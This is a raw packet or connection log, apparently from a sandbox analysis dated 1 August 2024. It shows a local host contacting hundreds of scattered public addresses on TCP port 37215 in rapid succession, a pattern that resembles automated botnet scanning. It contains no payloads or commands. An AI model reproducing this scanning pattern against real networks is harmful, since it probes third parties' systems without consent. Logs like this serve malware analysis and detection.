Aug 1, 2024 15:34:58.095134974 CEST	39006	37215	192.168.2.14	41.70.247.100
Aug 1, 2024 15:34:58.095134974 CEST	35330	37215	192.168.2.14	41.185.152.245
Aug 1, 2024 15:34:58.095138073 CEST	37215	57916	41.113.216.82	192.168.2.14
Aug 1, 2024 15:34:58.095140934 CEST	57782	37215	192.168.2.14	197.215.49.120
Aug 1, 2024 15:34:58.095144987 CEST	50402	37215	192.168.2.14	157.17.1.228
Aug 1, 2024 15:34:58.095161915 CEST	51216	37215	192.168.2.14	19.145.5.222
Aug 1, 2024 15:34:58.095172882 CEST	57916	37215	192.168.2.14	41.113.216.82
Aug 1, 2024 15:34:58.095415115 CEST	37215	35868	41.253.207.136	192.168.2.14
Aug 1, 2024 15:34:58.095475912 CEST	35868	37215	192.168.2.14	41.253.207.136
Aug 1, 2024 15:34:58.095629930 CEST	49140	37215	192.168.2.14	197.242.163.116
Aug 1, 2024 15:34:58.095782995 CEST	37215	53558	203.94.61.115	192.168.2.14
Aug 1, 2024 15:34:58.095824957 CEST	53558	37215	192.168.2.14	203.94.61.115
Aug 1, 2024 15:34:58.096330881 CEST	37215	43126	68.0.81.20	192.168.2.14
Aug 1, 2024 15:34:58.096350908 CEST	37215	41566	66.156.73.237	192.168.2.14
Aug 1, 2024 15:34:58.096360922 CEST	37215	41150	197.224.129.118	192.168.2.14
Aug 1, 2024 15:34:58.096368074 CEST	43126	37215	192.168.2.14	68.0.81.20
Aug 1, 2024 15:34:58.096389055 CEST	41150	37215	192.168.2.14	197.224.129.118
Aug 1, 2024 15:34:58.096406937 CEST	41566	37215	192.168.2.14	66.156.73.237
Aug 1, 2024 15:34:58.096410990 CEST	36164	37215	192.168.2.14	197.107.232.97
Aug 1, 2024 15:34:58.096604109 CEST	37215	57220	157.106.54.160	192.168.2.14
Aug 1, 2024 15:34:58.096647024 CEST	57220	37215	192.168.2.14	157.106.54.160
Aug 1, 2024 15:34:58.097106934 CEST	41764	37215	192.168.2.14	41.45.167.141
Aug 1, 2024 15:34:58.097170115 CEST	37215	35730	41.157.106.162	192.168.2.14
Aug 1, 2024 15:34:58.097204924 CEST	35730	37215	192.168.2.14	41.157.106.162
Aug 1, 2024 15:34:58.097234964 CEST	37215	53588	197.255.40.203	192.168.2.14
Aug 1, 2024 15:34:58.097245932 CEST	37215	49900	197.113.81.148	192.168.2.14
Aug 1, 2024 15:34:58.097254992 CEST	37215	49856	157.181.223.139	192.168.2.14
Aug 1, 2024 15:34:58.097275019 CEST	53588	37215	192.168.2.14	197.255.40.203
Aug 1, 2024 15:34:58.097289085 CEST	49900	37215	192.168.2.14	197.113.81.148
Aug 1, 2024 15:34:58.097311974 CEST	49856	37215	192.168.2.14	157.181.223.139
Aug 1, 2024 15:34:58.097434998 CEST	37215	38210	98.82.168.244	192.168.2.14
Aug 1, 2024 15:34:58.097479105 CEST	38210	37215	192.168.2.14	98.82.168.244
Aug 1, 2024 15:34:58.097920895 CEST	37215	42762	197.83.25.177	192.168.2.14
Aug 1, 2024 15:34:58.097932100 CEST	46298	37215	192.168.2.14	157.88.117.172
Aug 1, 2024 15:34:58.097932100 CEST	37215	49460	44.77.58.180	192.168.2.14
Aug 1, 2024 15:34:58.097961903 CEST	42762	37215	192.168.2.14	197.83.25.177
Aug 1, 2024 15:34:58.097979069 CEST	49460	37215	192.168.2.14	44.77.58.180
Aug 1, 2024 15:34:58.098579884 CEST	38880	37215	192.168.2.14	41.116.75.57
Aug 1, 2024 15:34:58.098623991 CEST	37215	53122	41.2.62.147	192.168.2.14
Aug 1, 2024 15:34:58.098669052 CEST	53122	37215	192.168.2.14	41.2.62.147
Aug 1, 2024 15:34:58.099350929 CEST	36606	37215	192.168.2.14	197.65.108.30
Aug 1, 2024 15:34:58.100009918 CEST	60728	37215	192.168.2.14	212.190.57.96
Aug 1, 2024 15:34:58.100159883 CEST	37215	48260	157.91.246.246	192.168.2.14
Aug 1, 2024 15:34:58.100202084 CEST	48260	37215	192.168.2.14	157.91.246.246
Aug 1, 2024 15:34:58.100708008 CEST	60292	37215	192.168.2.14	41.96.145.99
Aug 1, 2024 15:34:58.100858927 CEST	37215	48784	157.90.89.6	192.168.2.14
Aug 1, 2024 15:34:58.100908041 CEST	48784	37215	192.168.2.14	157.90.89.6
Aug 1, 2024 15:34:58.101413012 CEST	43460	37215	192.168.2.14	157.12.156.65
Aug 1, 2024 15:34:58.102102041 CEST	45024	37215	192.168.2.14	157.12.108.240
Aug 1, 2024 15:34:58.102657080 CEST	37215	41412	197.127.165.110	192.168.2.14
Aug 1, 2024 15:34:58.102694035 CEST	41412	37215	192.168.2.14	197.127.165.110
Aug 1, 2024 15:34:58.102787018 CEST	57802	37215	192.168.2.14	157.247.36.52
Aug 1, 2024 15:34:58.103009939 CEST	37215	43032	41.191.132.216	192.168.2.14
Aug 1, 2024 15:34:58.103045940 CEST	43032	37215	192.168.2.14	41.191.132.216
Aug 1, 2024 15:34:58.103507042 CEST	43280	37215	192.168.2.14	197.121.57.225
Aug 1, 2024 15:34:58.104307890 CEST	58516	37215	192.168.2.14	157.132.71.173
Aug 1, 2024 15:34:58.104969025 CEST	37320	37215	192.168.2.14	41.137.205.74
Aug 1, 2024 15:34:58.105669022 CEST	34108	37215	192.168.2.14	125.247.115.64
Aug 1, 2024 15:34:58.106391907 CEST	38050	37215	192.168.2.14	197.191.33.129
Aug 1, 2024 15:34:58.107047081 CEST	37500	37215	192.168.2.14	157.168.134.231
Aug 1, 2024 15:34:58.107650995 CEST	51886	37215	192.168.2.14	197.154.223.242
Aug 1, 2024 15:34:58.107832909 CEST	37215	49540	197.160.38.240	192.168.2.14
Aug 1, 2024 15:34:58.107844114 CEST	37215	50436	197.121.194.218	192.168.2.14
Aug 1, 2024 15:34:58.107862949 CEST	37215	43700	157.98.134.211	192.168.2.14
Aug 1, 2024 15:34:58.107872963 CEST	37215	53284	41.79.224.118	192.168.2.14
Aug 1, 2024 15:34:58.107883930 CEST	37215	55618	118.147.89.129	192.168.2.14
Aug 1, 2024 15:34:58.107887983 CEST	49540	37215	192.168.2.14	197.160.38.240
Aug 1, 2024 15:34:58.107893944 CEST	37215	39872	157.239.149.213	192.168.2.14
Aug 1, 2024 15:34:58.107897997 CEST	50436	37215	192.168.2.14	197.121.194.218
Aug 1, 2024 15:34:58.107899904 CEST	43700	37215	192.168.2.14	157.98.134.211
Aug 1, 2024 15:34:58.107907057 CEST	53284	37215	192.168.2.14	41.79.224.118
Aug 1, 2024 15:34:58.107911110 CEST	37215	56370	18.233.13.67	192.168.2.14
Aug 1, 2024 15:34:58.107918024 CEST	55618	37215	192.168.2.14	118.147.89.129
Aug 1, 2024 15:34:58.107922077 CEST	37215	43312	197.205.194.24	192.168.2.14
Aug 1, 2024 15:34:58.107930899 CEST	37215	54618	157.225.205.202	192.168.2.14
Aug 1, 2024 15:34:58.107932091 CEST	39872	37215	192.168.2.14	157.239.149.213
Aug 1, 2024 15:34:58.107954025 CEST	56370	37215	192.168.2.14	18.233.13.67
Aug 1, 2024 15:34:58.107954025 CEST	43312	37215	192.168.2.14	197.205.194.24
Aug 1, 2024 15:34:58.107963085 CEST	54618	37215	192.168.2.14	157.225.205.202
Aug 1, 2024 15:34:58.108274937 CEST	37215	49140	197.242.163.116	192.168.2.14
Aug 1, 2024 15:34:58.108285904 CEST	37215	36164	197.107.232.97	192.168.2.14
Aug 1, 2024 15:34:58.108295918 CEST	37215	41764	41.45.167.141	192.168.2.14
Aug 1, 2024 15:34:58.108306885 CEST	37215	46298	157.88.117.172	192.168.2.14
Aug 1, 2024 15:34:58.108314037 CEST	49140	37215	192.168.2.14	197.242.163.116
Aug 1, 2024 15:34:58.108314991 CEST	36164	37215	192.168.2.14	197.107.232.97
Aug 1, 2024 15:34:58.108329058 CEST	41764	37215	192.168.2.14	41.45.167.141
Aug 1, 2024 15:34:58.108338118 CEST	46298	37215	192.168.2.14	157.88.117.172
Aug 1, 2024 15:34:58.108352900 CEST	60510	37215	192.168.2.14	41.108.225.40
Aug 1, 2024 15:34:58.108417034 CEST	37215	38880	41.116.75.57	192.168.2.14
Aug 1, 2024 15:34:58.108450890 CEST	38880	37215	192.168.2.14	41.116.75.57
Aug 1, 2024 15:34:58.109033108 CEST	37215	36606	197.65.108.30	192.168.2.14
Aug 1, 2024 15:34:58.109042883 CEST	37215	60728	212.190.57.96	192.168.2.14
Aug 1, 2024 15:34:58.109081030 CEST	60728	37215	192.168.2.14	212.190.57.96
Aug 1, 2024 15:34:58.109096050 CEST	37215	60292	41.96.145.99	192.168.2.14
Aug 1, 2024 15:34:58.109097958 CEST	36606	37215	192.168.2.14	197.65.108.30
Aug 1, 2024 15:34:58.109107018 CEST	37215	43460	157.12.156.65	192.168.2.14
Aug 1, 2024 15:34:58.109116077 CEST	37215	45024	157.12.108.240	192.168.2.14
Aug 1, 2024 15:34:58.109136105 CEST	60292	37215	192.168.2.14	41.96.145.99
Aug 1, 2024 15:34:58.109143019 CEST	45024	37215	192.168.2.14	157.12.108.240
Aug 1, 2024 15:34:58.109158039 CEST	43460	37215	192.168.2.14	157.12.156.65
Aug 1, 2024 15:34:58.109174967 CEST	43050	37215	192.168.2.14	45.92.12.80
Aug 1, 2024 15:34:58.109328032 CEST	37215	57802	157.247.36.52	192.168.2.14
Aug 1, 2024 15:34:58.109348059 CEST	37215	43280	197.121.57.225	192.168.2.14
Aug 1, 2024 15:34:58.109359026 CEST	37215	58516	157.132.71.173	192.168.2.14
Aug 1, 2024 15:34:58.109371901 CEST	57802	37215	192.168.2.14	157.247.36.52
Aug 1, 2024 15:34:58.109380960 CEST	43280	37215	192.168.2.14	197.121.57.225
Aug 1, 2024 15:34:58.109395981 CEST	58516	37215	192.168.2.14	157.132.71.173
Aug 1, 2024 15:34:58.109759092 CEST	37215	37320	41.137.205.74	192.168.2.14
Aug 1, 2024 15:34:58.109800100 CEST	37320	37215	192.168.2.14	41.137.205.74
Aug 1, 2024 15:34:58.109888077 CEST	51354	37215	192.168.2.14	41.48.148.177
Aug 1, 2024 15:34:58.110615015 CEST	37215	34108	125.247.115.64	192.168.2.14
Aug 1, 2024 15:34:58.110656977 CEST	34108	37215	192.168.2.14	125.247.115.64
Aug 1, 2024 15:34:58.110938072 CEST	49856	37215	192.168.2.14	80.107.166.82
Aug 1, 2024 15:34:58.111419916 CEST	37215	38050	197.191.33.129	192.168.2.14
Aug 1, 2024 15:34:58.111460924 CEST	38050	37215	192.168.2.14	197.191.33.129
Aug 1, 2024 15:34:58.111608028 CEST	39718	37215	192.168.2.14	2.233.87.191
Aug 1, 2024 15:34:58.112032890 CEST	37215	37500	157.168.134.231	192.168.2.14
Aug 1, 2024 15:34:58.112096071 CEST	37500	37215	192.168.2.14	157.168.134.231
Aug 1, 2024 15:34:58.112340927 CEST	40568	37215	192.168.2.14	41.52.120.7
Aug 1, 2024 15:34:58.112382889 CEST	37215	51886	197.154.223.242	192.168.2.14
Aug 1, 2024 15:34:58.112423897 CEST	51886	37215	192.168.2.14	197.154.223.242
Aug 1, 2024 15:34:58.113049030 CEST	58116	37215	192.168.2.14	197.16.114.102
Aug 1, 2024 15:34:58.113681078 CEST	58542	37215	192.168.2.14	41.89.31.71
Aug 1, 2024 15:34:58.114465952 CEST	60636	37215	192.168.2.14	157.168.51.50
Aug 1, 2024 15:34:58.115070105 CEST	58386	37215	192.168.2.14	41.233.214.196
Aug 1, 2024 15:34:58.115793943 CEST	44648	37215	192.168.2.14	41.229.81.160
Aug 1, 2024 15:34:58.116744995 CEST	52530	37215	192.168.2.14	114.84.21.38
Aug 1, 2024 15:34:58.117490053 CEST	44656	37215	192.168.2.14	197.127.161.143
Aug 1, 2024 15:34:58.118283033 CEST	58458	37215	192.168.2.14	106.163.137.105
Aug 1, 2024 15:34:58.118963957 CEST	37215	37124	8.77.197.97	192.168.2.14
Aug 1, 2024 15:34:58.118979931 CEST	37215	42980	135.126.90.169	192.168.2.14
Aug 1, 2024 15:34:58.118989944 CEST	37215	58360	44.107.91.32	192.168.2.14
Aug 1, 2024 15:34:58.119000912 CEST	37215	38508	157.138.68.130	192.168.2.14
Aug 1, 2024 15:34:58.119010925 CEST	37215	60510	41.108.225.40	192.168.2.14
Aug 1, 2024 15:34:58.119021893 CEST	37215	43050	45.92.12.80	192.168.2.14
Aug 1, 2024 15:34:58.119033098 CEST	37215	51354	41.48.148.177	192.168.2.14
Aug 1, 2024 15:34:58.119043112 CEST	37215	49856	80.107.166.82	192.168.2.14
Aug 1, 2024 15:34:58.119045019 CEST	60510	37215	192.168.2.14	41.108.225.40
Aug 1, 2024 15:34:58.119052887 CEST	37215	39718	2.233.87.191	192.168.2.14
Aug 1, 2024 15:34:58.119062901 CEST	51354	37215	192.168.2.14	41.48.148.177
Aug 1, 2024 15:34:58.119075060 CEST	37215	40568	41.52.120.7	192.168.2.14
Aug 1, 2024 15:34:58.119077921 CEST	49856	37215	192.168.2.14	80.107.166.82
Aug 1, 2024 15:34:58.119079113 CEST	43050	37215	192.168.2.14	45.92.12.80
Aug 1, 2024 15:34:58.119090080 CEST	39718	37215	192.168.2.14	2.233.87.191
Aug 1, 2024 15:34:58.119095087 CEST	37215	58116	197.16.114.102	192.168.2.14
Aug 1, 2024 15:34:58.119105101 CEST	37215	58542	41.89.31.71	192.168.2.14
Aug 1, 2024 15:34:58.119126081 CEST	40568	37215	192.168.2.14	41.52.120.7
Aug 1, 2024 15:34:58.119126081 CEST	58116	37215	192.168.2.14	197.16.114.102
Aug 1, 2024 15:34:58.119137049 CEST	58542	37215	192.168.2.14	41.89.31.71
Aug 1, 2024 15:34:58.119178057 CEST	60296	37215	192.168.2.14	157.165.188.148
Aug 1, 2024 15:34:58.119240999 CEST	37215	60636	157.168.51.50	192.168.2.14
Aug 1, 2024 15:34:58.119469881 CEST	60636	37215	192.168.2.14	157.168.51.50
Aug 1, 2024 15:34:58.119973898 CEST	53748	37215	192.168.2.14	41.74.231.89
Aug 1, 2024 15:34:58.120111942 CEST	37215	58386	41.233.214.196	192.168.2.14
Aug 1, 2024 15:34:58.120165110 CEST	58386	37215	192.168.2.14	41.233.214.196
Aug 1, 2024 15:34:58.120572090 CEST	37215	44648	41.229.81.160	192.168.2.14
Aug 1, 2024 15:34:58.120615005 CEST	44648	37215	192.168.2.14	41.229.81.160
Aug 1, 2024 15:34:58.120688915 CEST	43462	37215	192.168.2.14	41.56.36.10
Aug 1, 2024 15:34:58.121623039 CEST	56012	37215	192.168.2.14	46.203.164.151
Aug 1, 2024 15:34:58.121687889 CEST	37215	52530	114.84.21.38	192.168.2.14
Aug 1, 2024 15:34:58.121736050 CEST	52530	37215	192.168.2.14	114.84.21.38
Aug 1, 2024 15:34:58.122219086 CEST	60920	37215	192.168.2.14	41.229.239.179
Aug 1, 2024 15:34:58.122303963 CEST	37215	44656	197.127.161.143	192.168.2.14
Aug 1, 2024 15:34:58.122347116 CEST	44656	37215	192.168.2.14	197.127.161.143
Aug 1, 2024 15:34:58.122989893 CEST	47536	37215	192.168.2.14	157.32.51.249
Aug 1, 2024 15:34:58.123081923 CEST	37215	58458	106.163.137.105	192.168.2.14
Aug 1, 2024 15:34:58.123123884 CEST	58458	37215	192.168.2.14	106.163.137.105
Aug 1, 2024 15:34:58.123693943 CEST	51178	37215	192.168.2.14	157.63.216.221
Aug 1, 2024 15:34:58.124051094 CEST	37215	60296	157.165.188.148	192.168.2.14
Aug 1, 2024 15:34:58.124089003 CEST	60296	37215	192.168.2.14	157.165.188.148
Aug 1, 2024 15:34:58.124371052 CEST	36854	37215	192.168.2.14	197.228.171.36
Aug 1, 2024 15:34:58.124725103 CEST	37215	53748	41.74.231.89	192.168.2.14
Aug 1, 2024 15:34:58.124774933 CEST	53748	37215	192.168.2.14	41.74.231.89
Aug 1, 2024 15:34:58.125211954 CEST	59706	37215	192.168.2.14	161.151.213.58
Aug 1, 2024 15:34:58.125431061 CEST	37215	43462	41.56.36.10	192.168.2.14
Aug 1, 2024 15:34:58.125469923 CEST	43462	37215	192.168.2.14	41.56.36.10
Aug 1, 2024 15:34:58.125920057 CEST	49628	37215	192.168.2.14	157.27.194.23
Aug 1, 2024 15:34:58.126557112 CEST	37215	56012	46.203.164.151	192.168.2.14
Aug 1, 2024 15:34:58.126646996 CEST	56012	37215	192.168.2.14	46.203.164.151
Aug 1, 2024 15:34:58.126684904 CEST	35678	37215	192.168.2.14	208.8.183.194
Aug 1, 2024 15:34:58.127027988 CEST	37215	60920	41.229.239.179	192.168.2.14
Aug 1, 2024 15:34:58.127068996 CEST	60920	37215	192.168.2.14	41.229.239.179
Aug 1, 2024 15:34:58.127541065 CEST	54484	37215	192.168.2.14	157.89.65.138
Aug 1, 2024 15:34:58.127815008 CEST	37215	47536	157.32.51.249	192.168.2.14
Aug 1, 2024 15:34:58.127861977 CEST	47536	37215	192.168.2.14	157.32.51.249
Aug 1, 2024 15:34:58.128367901 CEST	48904	37215	192.168.2.14	125.225.95.55
Aug 1, 2024 15:34:58.128578901 CEST	37215	51178	157.63.216.221	192.168.2.14
Aug 1, 2024 15:34:58.128632069 CEST	51178	37215	192.168.2.14	157.63.216.221
Aug 1, 2024 15:34:58.129057884 CEST	53976	37215	192.168.2.14	191.125.78.193
Aug 1, 2024 15:34:58.129365921 CEST	37215	36854	197.228.171.36	192.168.2.14
Aug 1, 2024 15:34:58.129412889 CEST	36854	37215	192.168.2.14	197.228.171.36
Aug 1, 2024 15:34:58.129820108 CEST	54406	37215	192.168.2.14	41.24.31.127
Aug 1, 2024 15:34:58.130141973 CEST	37215	59706	161.151.213.58	192.168.2.14
Aug 1, 2024 15:34:58.130173922 CEST	59706	37215	192.168.2.14	161.151.213.58
Aug 1, 2024 15:34:58.130547047 CEST	60868	37215	192.168.2.14	100.252.103.55
Aug 1, 2024 15:34:58.130808115 CEST	37215	49628	157.27.194.23	192.168.2.14
Aug 1, 2024 15:34:58.130851984 CEST	49628	37215	192.168.2.14	157.27.194.23
Aug 1, 2024 15:34:58.131277084 CEST	57246	37215	192.168.2.14	91.252.54.120
Aug 1, 2024 15:34:58.131521940 CEST	37215	35678	208.8.183.194	192.168.2.14
Aug 1, 2024 15:34:58.131556988 CEST	35678	37215	192.168.2.14	208.8.183.194
Aug 1, 2024 15:34:58.131961107 CEST	34054	37215	192.168.2.14	41.84.21.46
Aug 1, 2024 15:34:58.132411003 CEST	37215	54484	157.89.65.138	192.168.2.14
Aug 1, 2024 15:34:58.132453918 CEST	54484	37215	192.168.2.14	157.89.65.138
Aug 1, 2024 15:34:58.132659912 CEST	33046	37215	192.168.2.14	197.75.199.195
Aug 1, 2024 15:34:58.133349895 CEST	50774	37215	192.168.2.14	147.191.79.16
Aug 1, 2024 15:34:58.133443117 CEST	37215	48904	125.225.95.55	192.168.2.14
Aug 1, 2024 15:34:58.133491039 CEST	48904	37215	192.168.2.14	125.225.95.55
Aug 1, 2024 15:34:58.133800983 CEST	37215	53976	191.125.78.193	192.168.2.14
Aug 1, 2024 15:34:58.133853912 CEST	53976	37215	192.168.2.14	191.125.78.193
Aug 1, 2024 15:34:58.134037971 CEST	39578	37215	192.168.2.14	197.62.156.140
Aug 1, 2024 15:34:58.134516001 CEST	37215	49734	41.149.139.9	192.168.2.14
Aug 1, 2024 15:34:58.134547949 CEST	37215	46126	157.196.129.192	192.168.2.14
Aug 1, 2024 15:34:58.134560108 CEST	37215	42132	210.71.47.173	192.168.2.14
Aug 1, 2024 15:34:58.134568930 CEST	37215	49210	186.22.144.161	192.168.2.14
Aug 1, 2024 15:34:58.134588003 CEST	37215	34712	157.57.103.130	192.168.2.14
Aug 1, 2024 15:34:58.134598970 CEST	37215	46206	41.126.121.67	192.168.2.14
Aug 1, 2024 15:34:58.134608984 CEST	37215	57040	41.139.143.29	192.168.2.14
Aug 1, 2024 15:34:58.134634018 CEST	37215	50872	41.124.168.112	192.168.2.14
Aug 1, 2024 15:34:58.134645939 CEST	37215	59778	157.66.58.1	192.168.2.14
Aug 1, 2024 15:34:58.134680033 CEST	37215	51530	54.13.239.184	192.168.2.14
Aug 1, 2024 15:34:58.134691954 CEST	37215	33348	197.73.155.152	192.168.2.14
Aug 1, 2024 15:34:58.134711981 CEST	37215	35068	197.44.123.150	192.168.2.14
Aug 1, 2024 15:34:58.134721994 CEST	37215	34330	197.69.76.72	192.168.2.14
Aug 1, 2024 15:34:58.134732008 CEST	37215	34514	157.59.133.168	192.168.2.14
Aug 1, 2024 15:34:58.134793997 CEST	34082	37215	192.168.2.14	157.219.98.19
Aug 1, 2024 15:34:58.134856939 CEST	37215	38286	41.225.137.7	192.168.2.14
Aug 1, 2024 15:34:58.134867907 CEST	37215	58702	41.23.136.70	192.168.2.14
Aug 1, 2024 15:34:58.134876013 CEST	37215	39564	41.241.93.77	192.168.2.14
Aug 1, 2024 15:34:58.134890079 CEST	37215	35982	41.46.147.104	192.168.2.14
Aug 1, 2024 15:34:58.134900093 CEST	37215	43462	197.92.56.154	192.168.2.14
Aug 1, 2024 15:34:58.134910107 CEST	37215	54156	163.42.224.94	192.168.2.14
Aug 1, 2024 15:34:58.134919882 CEST	37215	39214	197.191.74.75	192.168.2.14
Aug 1, 2024 15:34:58.134929895 CEST	37215	35788	197.137.205.208	192.168.2.14
Aug 1, 2024 15:34:58.134991884 CEST	37215	46388	157.158.84.141	192.168.2.14
Aug 1, 2024 15:34:58.135004044 CEST	37215	36062	41.117.23.22	192.168.2.14
Aug 1, 2024 15:34:58.135014057 CEST	37215	49448	197.58.206.143	192.168.2.14
Aug 1, 2024 15:34:58.135024071 CEST	37215	36160	157.74.188.160	192.168.2.14
Aug 1, 2024 15:34:58.135034084 CEST	37215	34792	41.171.17.204	192.168.2.14
Aug 1, 2024 15:34:58.135042906 CEST	37215	54842	197.153.149.210	192.168.2.14
Aug 1, 2024 15:34:58.135051966 CEST	37215	55144	157.179.229.76	192.168.2.14
Aug 1, 2024 15:34:58.135062933 CEST	37215	49726	197.86.199.8	192.168.2.14
Aug 1, 2024 15:34:58.135071993 CEST	37215	60948	41.18.157.111	192.168.2.14
Aug 1, 2024 15:34:58.135082960 CEST	37215	33632	41.12.240.236	192.168.2.14
Aug 1, 2024 15:34:58.135097027 CEST	37215	33192	41.135.240.219	192.168.2.14
Aug 1, 2024 15:34:58.135108948 CEST	37215	33234	160.149.238.205	192.168.2.14
Aug 1, 2024 15:34:58.135118961 CEST	37215	44026	157.101.184.107	192.168.2.14
Aug 1, 2024 15:34:58.135128975 CEST	37215	60292	41.12.104.26	192.168.2.14
Aug 1, 2024 15:34:58.135139942 CEST	37215	33870	197.141.234.224	192.168.2.14
Aug 1, 2024 15:34:58.135149002 CEST	37215	41962	197.177.166.85	192.168.2.14
Aug 1, 2024 15:34:58.135159016 CEST	37215	44448	119.90.131.53	192.168.2.14
Aug 1, 2024 15:34:58.135169029 CEST	37215	46018	157.108.69.147	192.168.2.14
Aug 1, 2024 15:34:58.135178089 CEST	37215	52318	197.152.239.61	192.168.2.14
Aug 1, 2024 15:34:58.135186911 CEST	37215	41916	197.104.130.27	192.168.2.14
Aug 1, 2024 15:34:58.135206938 CEST	37215	49456	41.125.82.183	192.168.2.14
Aug 1, 2024 15:34:58.135225058 CEST	37215	58824	17.213.200.107	192.168.2.14
Aug 1, 2024 15:34:58.135235071 CEST	37215	33542	111.219.90.142	192.168.2.14
Aug 1, 2024 15:34:58.135243893 CEST	37215	37652	197.141.27.118	192.168.2.14
Aug 1, 2024 15:34:58.135253906 CEST	37215	37618	157.194.129.160	192.168.2.14
Aug 1, 2024 15:34:58.135262966 CEST	37215	43212	157.182.228.215	192.168.2.14
Aug 1, 2024 15:34:58.135272980 CEST	37215	57850	172.128.243.228	192.168.2.14
Aug 1, 2024 15:34:58.135282040 CEST	37215	54534	151.198.130.124	192.168.2.14
Aug 1, 2024 15:34:58.135292053 CEST	37215	52708	41.117.191.144	192.168.2.14
Aug 1, 2024 15:34:58.135301113 CEST	37215	47452	157.19.219.96	192.168.2.14
Aug 1, 2024 15:34:58.135312080 CEST	37215	45612	41.2.22.184	192.168.2.14
Aug 1, 2024 15:34:58.135322094 CEST	37215	44882	197.18.236.36	192.168.2.14
Aug 1, 2024 15:34:58.135332108 CEST	37215	48714	197.176.24.104	192.168.2.14
Aug 1, 2024 15:34:58.135341883 CEST	37215	39296	63.182.26.190	192.168.2.14
Aug 1, 2024 15:34:58.135351896 CEST	37215	50350	130.47.155.129	192.168.2.14
Aug 1, 2024 15:34:58.135361910 CEST	37215	44072	197.133.207.105	192.168.2.14
Aug 1, 2024 15:34:58.135370970 CEST	37215	38384	41.86.147.45	192.168.2.14
Aug 1, 2024 15:34:58.135382891 CEST	37215	34606	148.245.147.90	192.168.2.14
Aug 1, 2024 15:34:58.135392904 CEST	37215	35098	41.7.253.92	192.168.2.14
Aug 1, 2024 15:34:58.135402918 CEST	37215	35776	197.71.56.244	192.168.2.14
Aug 1, 2024 15:34:58.135411978 CEST	37215	33634	41.136.78.84	192.168.2.14
Aug 1, 2024 15:34:58.135421991 CEST	37215	35140	197.150.90.60	192.168.2.14
Aug 1, 2024 15:34:58.135432959 CEST	37215	36202	187.160.51.75	192.168.2.14
Aug 1, 2024 15:34:58.135442972 CEST	37215	44636	197.196.40.133	192.168.2.14
Aug 1, 2024 15:34:58.135452986 CEST	37215	37516	197.226.46.21	192.168.2.14
Aug 1, 2024 15:34:58.135463953 CEST	37215	33316	197.252.210.245	192.168.2.14
Aug 1, 2024 15:34:58.135478973 CEST	37215	43000	14.190.104.245	192.168.2.14
Aug 1, 2024 15:34:58.135489941 CEST	37215	44190	157.154.221.57	192.168.2.14
Aug 1, 2024 15:34:58.135499001 CEST	37215	57054	197.173.88.168	192.168.2.14
Aug 1, 2024 15:34:58.135510921 CEST	37215	44610	9.50.79.142	192.168.2.14
Aug 1, 2024 15:34:58.135521889 CEST	37215	60664	197.200.154.27	192.168.2.14
Aug 1, 2024 15:34:58.135531902 CEST	37215	41812	208.67.56.114	192.168.2.14
Aug 1, 2024 15:34:58.135541916 CEST	37215	60706	157.175.27.16	192.168.2.14
Aug 1, 2024 15:34:58.135551929 CEST	37215	37520	157.46.42.17	192.168.2.14
Aug 1, 2024 15:34:58.135560989 CEST	37215	45084	157.185.146.40	192.168.2.14
Aug 1, 2024 15:34:58.135570049 CEST	37215	58496	197.38.139.56	192.168.2.14
Aug 1, 2024 15:34:58.135581970 CEST	37215	34030	197.74.128.205	192.168.2.14
Aug 1, 2024 15:34:58.135593891 CEST	37215	37286	197.220.34.9	192.168.2.14
Aug 1, 2024 15:34:58.135603905 CEST	37215	57102	83.124.132.190	192.168.2.14
Aug 1, 2024 15:34:58.135615110 CEST	37215	51796	157.67.94.230	192.168.2.14
Aug 1, 2024 15:34:58.135624886 CEST	37215	41128	76.79.65.175	192.168.2.14
Aug 1, 2024 15:34:58.135633945 CEST	37215	37714	197.233.134.99	192.168.2.14
Aug 1, 2024 15:34:58.135643959 CEST	37215	53872	41.150.3.88	192.168.2.14
Aug 1, 2024 15:34:58.135654926 CEST	37215	55942	92.176.125.168	192.168.2.14
Aug 1, 2024 15:34:58.135664940 CEST	37215	49846	157.234.233.14	192.168.2.14
Aug 1, 2024 15:34:58.135674000 CEST	37215	40138	70.45.88.250	192.168.2.14
Aug 1, 2024 15:34:58.135684013 CEST	37215	46336	197.241.187.121	192.168.2.14
Aug 1, 2024 15:34:58.135694027 CEST	37215	40232	197.52.145.226	192.168.2.14
Aug 1, 2024 15:34:58.135704041 CEST	37215	53284	184.119.116.174	192.168.2.14
Aug 1, 2024 15:34:58.135714054 CEST	37215	34438	59.146.160.181	192.168.2.14
Aug 1, 2024 15:34:58.135725975 CEST	37215	41148	41.168.230.58	192.168.2.14
Aug 1, 2024 15:34:58.135736942 CEST	37215	53874	157.21.242.107	192.168.2.14
Aug 1, 2024 15:34:58.135746956 CEST	37215	48430	41.70.98.150	192.168.2.14
Aug 1, 2024 15:34:58.135757923 CEST	37215	52058	197.67.216.45	192.168.2.14
Aug 1, 2024 15:34:58.135767937 CEST	37215	38588	157.193.29.198	192.168.2.14
Aug 1, 2024 15:34:58.135776997 CEST	37215	51826	157.112.241.123	192.168.2.14
Aug 1, 2024 15:34:58.135787010 CEST	37215	40284	197.197.246.96	192.168.2.14
Aug 1, 2024 15:34:58.135796070 CEST	37215	49556	157.29.131.245	192.168.2.14
Aug 1, 2024 15:34:58.135806084 CEST	37215	37944	157.130.3.45	192.168.2.14
Aug 1, 2024 15:34:58.135814905 CEST	37215	45878	160.44.142.45	192.168.2.14
Aug 1, 2024 15:34:58.135824919 CEST	37215	52428	197.104.19.50	192.168.2.14
Aug 1, 2024 15:34:58.135833979 CEST	37215	55512	41.170.96.15	192.168.2.14
Aug 1, 2024 15:34:58.135843992 CEST	37215	37294	193.62.208.172	192.168.2.14
Aug 1, 2024 15:34:58.135857105 CEST	37215	44990	58.206.132.145	192.168.2.14
Aug 1, 2024 15:34:58.135876894 CEST	37215	43542	197.237.2.174	192.168.2.14
Aug 1, 2024 15:34:58.135886908 CEST	37215	54836	41.54.8.114	192.168.2.14
Aug 1, 2024 15:34:58.135895967 CEST	37215	51976	194.193.18.127	192.168.2.14
Aug 1, 2024 15:34:58.135905981 CEST	37215	52660	41.29.127.52	192.168.2.14
Aug 1, 2024 15:34:58.135917902 CEST	37215	50504	197.196.206.55	192.168.2.14
Aug 1, 2024 15:34:58.135930061 CEST	37215	42394	41.6.79.92	192.168.2.14
Aug 1, 2024 15:34:58.135940075 CEST	37215	59662	41.73.44.185	192.168.2.14
Aug 1, 2024 15:34:58.135950089 CEST	37215	56218	190.251.100.176	192.168.2.14
Aug 1, 2024 15:34:58.135961056 CEST	37215	35898	32.132.7.31	192.168.2.14
